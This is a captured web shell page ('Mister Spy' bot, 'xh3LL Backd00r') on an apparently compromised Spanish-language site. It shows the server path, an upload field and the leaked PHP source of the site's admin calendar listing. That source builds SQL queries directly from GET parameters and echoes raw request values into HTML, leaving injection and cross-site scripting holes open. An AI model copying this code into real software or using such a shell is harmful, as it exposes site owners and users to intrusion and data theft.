Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/_admin_/
Upload File :
Current File : /home/caballoscriollos/www/espanol/_admin_/calendarios.php

<?php 
require_once('../../Connections/cnx.php'); 
require_once('../../funcs.php'); 
require_once('00_admin_look.php'); 
require_once('ssi_seguridad.php');

$currentPage = $_SERVER["PHP_SELF"];

$qry_string = "vacio=si";
if(isset($_SERVER['QUERY_STRING']))
	$qry_string = $_SERVER['QUERY_STRING'];


$maxRows_rsCalendarios = 20;
$pageNum_rsCalendarios = 0;
if (isset($_GET['pageNum_rsCalendarios'])) {
  $pageNum_rsCalendarios = $_GET['pageNum_rsCalendarios'];
}
$startRow_rsCalendarios = $pageNum_rsCalendarios * $maxRows_rsCalendarios;


$filtro = "1=1";
if(isset($_GET['tipoID']) && $_GET['tipoID']!="")
	$filtro .= " AND c.tipoID=".$_GET['tipoID'];

if (isset($_GET['fecha_desde']) && $_GET['fecha_desde']!="")
	$filtro .= " AND c.fecha_desde >= '" . $_GET['fecha_desde'] . "'";
if (isset($_GET['fecha_hasta']) && $_GET['fecha_hasta']!="")
	$filtro .= " AND c.fecha_desde <= '" . $_GET['fecha_hasta'] . "'";

mysql_select_db($database_cnx, $cnx);
$query_rsCalendarios = sprintf("SELECT c.*, ct.nombre AS tipo FROM calendarios c LEFT JOIN calendarios_tipos ct ON c.tipoID=ct.tipoID WHERE %s ORDER BY c.fecha_desde DESC", $filtro);
$query_limit_rsCalendarios = sprintf("%s LIMIT %d, %d", $query_rsCalendarios, $startRow_rsCalendarios, $maxRows_rsCalendarios);
$rsCalendarios = mysql_query($query_limit_rsCalendarios, $cnx) or die(mysql_error());
$row_rsCalendarios = mysql_fetch_assoc($rsCalendarios);

if (isset($_GET['totalRows_rsCalendarios'])) {
  $totalRows_rsCalendarios = $_GET['totalRows_rsCalendarios'];
} else {
  $all_rsCalendarios = mysql_query($query_rsCalendarios);
  $totalRows_rsCalendarios = mysql_num_rows($all_rsCalendarios);
}
$totalPages_rsCalendarios = ceil($totalRows_rsCalendarios/$maxRows_rsCalendarios)-1;


mysql_select_db($database_cnx, $cnx);
$query_rsTipos = "SELECT * FROM calendarios_tipos ORDER BY nombre ASC";
$rsTipos = mysql_query($query_rsTipos, $cnx) or die(mysql_error());
$row_rsTipos = mysql_fetch_assoc($rsTipos);
$totalRows_rsTipos = mysql_num_rows($rsTipos);

$queryString_rsCalendarios = "";
if (!empty($_SERVER['QUERY_STRING'])) {
  $params = explode("&", $_SERVER['QUERY_STRING']);
  $newParams = array();
  foreach ($params as $param) {
    if (stristr($param, "pageNum_rsCalendarios") == false && 
        stristr($param, "totalRows_rsCalendarios") == false) {
      array_push($newParams, $param);
    }
  }
  if (count($newParams) != 0) {
    $queryString_rsCalendarios = "&" . htmlentities(implode("&", $newParams));
  }
}
$queryString_rsCalendarios = sprintf("&totalRows_rsCalendarios=%d%s", $totalRows_rsCalendarios, $queryString_rsCalendarios);


?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Documento sin t&iacute;tulo</title>
<link href="basico_backend.css" rel="stylesheet" type="text/css" />
<script>
function AbrirPOP(ruta)
{
	window.open('../pop_ver_foto.php?img='+ruta,'','width=450,height=450,scrollbars=auto');
}
</script>
</head>

<body>
<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td>
    <table width="100%"  border="0" cellpadding="0" cellspacing="0" class="bordeGrisFondo">
      <tr>
        <td width="20" height="40" class="TituloRubro">&nbsp;</td>
        <td height="40"><span class="tituloPagina">CALENDARIO</span></td>
      </tr> 
    </table>
    </td>
  </tr>
  <tr>
    <td height="30" valign="top">
	<!--
	<table width="100%"  border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td width="20" height="40"><div align="right"><img src="iconos/add.gif" alt="Agregar" width="16" height="14" border="0" /> </div></td>
        <td width="724" height="40"><a href="calendarios_add_corto.php?sec=<?=$_GET['sec']?>&amp;t=<?=$_GET['t']?>">Agregar</a> (Usuario y Password) </td>
        <td width="30" align="right"><img src="iconos/add.gif" alt="Agregar" width="16" height="14" border="0" /></td>
        <td width="135"><a href="calendarios_add.php?sec=<?=$_GET['sec']?>&amp;t=<?=$_GET['t']?>">Agregar</a> (Caba&ntilde;a completa) </td>
      </tr>
    </table>
	-->
	  <table width="100%"  border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td height="40">
		  	<form id="form1" name="form1" method="get" action="calendarios.php">
              <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="bordeGrisFondo">
				<tr>
					<td width="18%" height="50" valign="middle">
						<div align="right">
							<span class="tituloMenu">Buscador Avanzado:</span>&nbsp;&nbsp; 
						</div>
					</td>
					<td width="33%" valign="middle">&nbsp;</td>
					<td width="49%" valign="middle">&nbsp;</td>						
                </tr>
				<tr>
					<td width="18%" height="50" valign="middle">&nbsp;</td>
					<td width="33%" valign="middle">
						<label for="fecha_desde">Fecha Desde:</label>&nbsp;
						<input type="text" name="fecha_desde" id="fecha_desde" style="width: 178px" value="<?= $_GET['fecha_desde'] ?>" />
					</td>
					<td width="49%" valign="middle">
						<label for="fecha_hasta">Fecha Hasta:</label>&nbsp;
						<input type="text" name="fecha_hasta" id="fecha_hasta" style="width: 178px" value="<?= $_GET['fecha_hasta'] ?>" />
					</td>
                </tr>
                <tr>
                  <td width="18%" height="50" valign="middle">&nbsp;</td>
                  <td width="33%" valign="middle"><select name="tipoID" id="tipoID">
                      <option value="">- Todos las Tipos -</option>
                      <? do{ ?>
                      <option value="<?=$row_rsTipos['tipoID']?>" <? if(isset($_GET['tipoID']) && $_GET['tipoID']==$row_rsTipos['tipoID']){echo "SELECTED"; }?>>
                      <?=$row_rsTipos['nombre']?>
                      </option>
                      <? }while($row_rsTipos   = mysql_fetch_assoc($rsTipos));?>
                  </select></td>
                  <td width="49%" valign="middle"><div align="left">
                    <input name="Submit" type="submit" class="boton" value="Buscar" style="margin-left: 187px;" />
                  </div></td>
                </tr>
              </table>
          </form>
		  </td>
        </tr>
      </table>
    </td>
  </tr>
  <tr>
    <td height="30" valign="top"><table width="100%"  border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td>
            <p><a href="calendarios_add.php">Agregar</a></p>
            </td>
        </tr>
    </table></td>
  </tr>
  <tr>
    <td><div align="center">
      <?php if ($totalRows_rsCalendarios > 0) { // Show if recordset not empty ?>
        <table width="100%" border="0" cellpadding="0" cellspacing="0">
          <tr>
            <td height="20" valign="top"><div align="right"> Registros <?php echo ($startRow_rsCalendarios + 1) ?> a <?php echo min($startRow_rsCalendarios + $maxRows_rsCalendarios, $totalRows_rsCalendarios) ?> de <?php echo $totalRows_rsCalendarios ?> </div></td>
            </tr>
          <tr>
            <td><table width="100%" align="center" cellpadding="0" cellspacing="0" class="bordeGris">
              <tr class="bordeGrisFondo">
              		<td width="25">&nbsp;</td>
					<td height="25"><div align="left"><strong>Fecha</strong></div></td>
	                <td height="25"><div align="left"><strong>Tipo</strong></div></td>
                    <td width="232"><div align="left"><strong>Nombre</strong></div></td>
                    <td width="232"><div align="left"><strong>Lugar</strong></div></td>
                    <td width="232"><div align="left"><strong>Regi&oacute;n</strong></div></td>                    
                    <td width="83"><div align="center"><strong>Acciones</strong></div></td>
                  </tr>
              <?php do { ?>
                <tr>
              		  <td width="25">&nbsp;</td>
					  <td width="75"><div align="left"><?php echo  $row_rsCalendarios['fecha_desde']; ?></div></td>
	                  <td width="232" height="25"><div align="left"><?php echo  $row_rsCalendarios['tipo']; ?></div></td>
                      <td><div align="left">
                      <?php echo $row_rsCalendarios['nombre']; ?></div></td>
                      <td><div align="left">
                      <?php echo $row_rsCalendarios['lugar']; ?></div></td>
                      <td><div align="left">
                      <?php echo $row_rsCalendarios['region']; ?></div></td>
                      <td width="83" height="25">
					<div align="center">
					<?php if ($row_rsCalendarios['id_galeria'] != 0) {  ?>
						<a href="imagenes_mod.php?galeriaID=<?php echo $row_rsCalendarios['id_galeria']; ?>"><img src="iconos/camera2.gif" alt="modificar info" width="16" height="14" border="0" /></a> -
						<?php } else { ?>
						<a href="imagenes_add.php?<?=$qry_string?>&sec=<?=$_GET['sec']?>&t=<?=$_GET['t']?>&calendarioID=<?php echo $row_rsCalendarios['calendarioID']; ?>"><img src="iconos/camera2.gif" alt="modificar info" width="16" height="14" border="0" /></a> -
						<?php } ?>
						
						<?php if ($row_rsCalendarios['id_hotelgaleria'] != 0) {  ?>
						<a href="imagenes_mod.php?galeriaID=<?php echo $row_rsCalendarios['id_hotelgaleria']; ?>"><img src="iconos/casa.png" alt="modificar info" width="16" height="14" border="0" /></a> -
						<?php } else { ?>
						<a href="imagenes_add.php?<?=$qry_string?>&sec=<?=$_GET['sec']?>&t=<?=$_GET['t']?>&calendarioID=<?php echo $row_rsCalendarios['calendarioID'];?>&hotel=1"><img src="iconos/casa.png" alt="modificar info" width="16" height="14" border="0" /></a> -
						<?php } ?>
						
						<a href="calendarios_info.php?<?=$qry_string?>&sec=<?=$_GET['sec']?>&t=<?=$_GET['t']?>&calendarioID=<?php echo $row_rsCalendarios['calendarioID']; ?>"><img src="iconos/preview.gif" alt="modificar info" width="16" height="14" border="0" /></a> -
                        <a href="calendarios_mod.php?<?=$qry_string?>&sec=<?=$_GET['sec']?>&t=<?=$_GET['t']?>&calendarioID=<?php echo $row_rsCalendarios['calendarioID']; ?>"><img src="iconos/mod.gif" alt="modificar" width="16" height="14" border="0" /></a> - <a href="calendarios_del.php?<?=$qry_string?>&sec=<?=$_GET['sec']?>&t=<?=$_GET['t']?>&calendarioID=<?php echo $row_rsCalendarios['calendarioID']; ?>"><img src="iconos/del.gif" alt="Eliminar" width="16" height="14" border="0" /></a>
					   </div>
				      </td>
                    </tr>
                <tr>
                  <td colspan="8"><div align="center">
                    <table width="100%"  border="0" cellspacing="0" cellpadding="0">
                      <tr>
                        <td background="images/linea_punteada_vertical.gif"><div align="center"></div></td>
                            </tr>
                      </table>
                      </div></td>
                    </tr>
                <?php } while ($row_rsCalendarios = mysql_fetch_assoc($rsCalendarios)); ?>
              </table></td>
            </tr>
          <tr>
            <td><table width="20%" border="0" align="center" cellpadding="0" cellspacing="0">
              <tr>
                <td width="23%" align="center"><?php if ($pageNum_rsCalendarios > 0) { // Show if not first page ?>
                  <a href="<?php printf("%s?pageNum_rsCalendarios=%d%s", $currentPage, 0, $queryString_rsCalendarios); ?>"><img src="First.gif" border=0></a>
                  <?php } // Show if not first page ?>                  </td>
                    <td width="31%" align="center"><?php if ($pageNum_rsCalendarios > 0) { // Show if not first page ?>
                          <a href="<?php printf("%s?pageNum_rsCalendarios=%d%s", $currentPage, max(0, $pageNum_rsCalendarios - 1), $queryString_rsCalendarios); ?>"><img src="Previous.gif" border=0></a>
                          <?php } // Show if not first page ?>                    </td>
                    <td width="23%" align="center"><?php if ($pageNum_rsCalendarios < $totalPages_rsCalendarios) { // Show if not last page ?>
                          <a href="<?php printf("%s?pageNum_rsCalendarios=%d%s", $currentPage, min($totalPages_rsCalendarios, $pageNum_rsCalendarios + 1), $queryString_rsCalendarios); ?>"><img src="Next.gif" border=0></a>
                          <?php } // Show if not last page ?>                    </td>
                    <td width="23%" align="center"><?php if ($pageNum_rsCalendarios < $totalPages_rsCalendarios) { // Show if not last page ?>
                          <a href="<?php printf("%s?pageNum_rsCalendarios=%d%s", $currentPage, $totalPages_rsCalendarios, $queryString_rsCalendarios); ?>"><img src="Last.gif" border=0></a>
                          <?php } // Show if not last page ?>                    </td>
                  </tr>
              </table></td>
            </tr>
          <tr>
            <td>&nbsp;</td>
            </tr>
        </table>
        <?php } // Show if recordset not empty ?>
    </div></td>
  </tr>
</table>
<?php if ($totalRows_rsCalendarios == 0) { // Show if recordset empty ?>
  <table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0" class="bordeGrisFondo">
    <tr>
      <td>&nbsp;</td>
    </tr>
    <tr>
      <td><div align="center"><img src="iconos/alerta.gif" width="26" height="24" border="0" /></div></td>
    </tr>
    <tr>
      <td><div align="center"><strong>Lo Siento! </strong></div></td>
    </tr>
    <tr>
      <td><div align="center"><strong>No hay registros disponibles.</strong></div></td>
    </tr>
    <tr>
      <td>&nbsp;</td>
    </tr>
  </table>
  <?php } // Show if recordset empty ?>
  
</body>
</html>
<?php
mysql_free_result($rsCalendarios);
?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat